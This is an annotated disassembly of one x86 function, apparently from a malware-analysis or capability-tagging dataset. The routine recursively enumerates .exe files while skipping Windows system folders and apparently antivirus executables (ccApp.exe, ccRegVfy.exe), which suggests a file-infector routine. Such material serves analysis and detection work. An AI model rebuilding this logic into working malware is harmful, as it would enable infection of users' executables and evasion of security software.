Function at 0x4011f4
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, 0x1f4
push edi
push esi
call fcn.00402d7b
mov ebx, eax
push esi
mov dword [ebp - 0x14], ebx
call fcn.00402d7b
push esi
mov dword [ebp - 0xc], eax
call fcn.00402d7b
push esi
mov dword [ebp - 4], eax
call fcn.00402d7b
mov edi, dword [ebp + 8]
mov dword [ebp - 8], eax
push edi
push ebx
call fcn.00402c10
push str..exe
push ebx
call fcn.00402c20
push 0x140
call fcn.00402d7b
push dword [0x40e008]
mov esi, eax
push edi
call fcn.00409f00
add esp, 0x2c
test eax, eax
je 0x40147c
push dword [0x40e010]
push edi
call fcn.00409f00
pop ecx
test eax, eax
pop ecx
je 0x40147c
lea eax, [ebp - 0x10]
push str.windows
push eax
push edi
mov dword [ebp - 0x10], 7
call fcn.00401cee
pop ecx
pop ecx
push eax
call fcn.00409f00
pop ecx
test eax, eax
pop ecx
je 0x40147c
lea eax, [ebp - 0x10]
push str.system32
push eax
push edi
mov dword [ebp - 0x10], 8
call fcn.00401cee
pop ecx
pop ecx
push eax
call fcn.00409f00
pop ecx
test eax, eax
pop ecx
je 0x40147c
lea eax, [ebp - 0x10]
push str.system
push eax
push edi
mov dword [ebp - 0x10], 6
call fcn.00401cee
pop ecx
pop ecx
push eax
call fcn.00409f00
pop ecx
test eax, eax
pop ecx
je 0x40147c
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x4013e6
lea edi, [esi + 0x2c]
push str.IEXPLORE.EXE
push edi
call fcn.00409f00
pop ecx
mov ebx, section.NewSec
pop ecx
test eax, eax
je 0x4013c0
push str.ccApp.exe
push edi
call fcn.00409f00
pop ecx
test eax, eax
pop ecx
je 0x4013c0
push str.ccRegVfy.exe
push edi
call fcn.00409f00
pop ecx
test eax, eax
pop ecx
je 0x4013c0
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.00402c10
push 0x40d05c
push dword [ebp - 4]
call fcn.00402c20
push edi
push dword [ebp - 4]
call fcn.00402c20
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.00402c10
add esp, 0x20
push ebx
push dword [ebp - 8]
call fcn.00402d00
pop ecx
mov ecx, dword [ebp - 8]
lea eax, [eax + ecx - 3]
push eax
call fcn.00402c10
push dword [ebp - 8]
call fcn.004011ae
add esp, 0xc
test al, al
je 0x4013a3
push dword [ebp - 8]
call fcn.00401bec
pop ecx
push dword [ebp - 4]
call fcn.004018bd
test al, al
pop ecx
jne 0x4013c0
push dword [ebp - 4]
push dword [0x40e00c]
call fcn.00401a15
pop ecx
pop ecx
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x4013e0
push str.IEXPLORE.EXE
push edi
call fcn.00409f00
pop ecx
pop ecx
jmp 0x401317
mov ebx, dword [ebp - 0x14]
mov edi, dword [ebp + 8]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
push ebx
call fcn.00402c10
push str..
push ebx
call fcn.00402c20
add esp, 0x10
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
je 0x40147c
mov eax, dword [esi]
and eax, 0x10
cmp al, 0x10
jne 0x40146e
lea edi, [esi + 0x2c]
push 0x40d050
push edi
call fcn.00409f00
pop ecx
test eax, eax
pop ecx
je 0x40146e
push 0x40d04c
push edi
call fcn.00409f00
pop ecx
test eax, eax
pop ecx
je 0x40146e
push dword [ebp + 8]
push dword [ebp - 0xc]
call fcn.00402c10
push 0x40d05c
push dword [ebp - 0xc]
call fcn.00402c20
push edi
push dword [ebp - 0xc]
call fcn.00402c20
push dword [ebp - 0xc]
call fcn.004011f4
add esp, 0x1c
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jmp 0x401412
push ebx
call fcn.00402d89
push dword [ebp - 0xc]
call fcn.00402d89
push dword [ebp - 4]
call fcn.00402d89
push dword [ebp - 8]
call fcn.00402d89
push esi
call fcn.00402d89
add esp, 0x14
pop edi
pop esi
pop ebx
leave
ret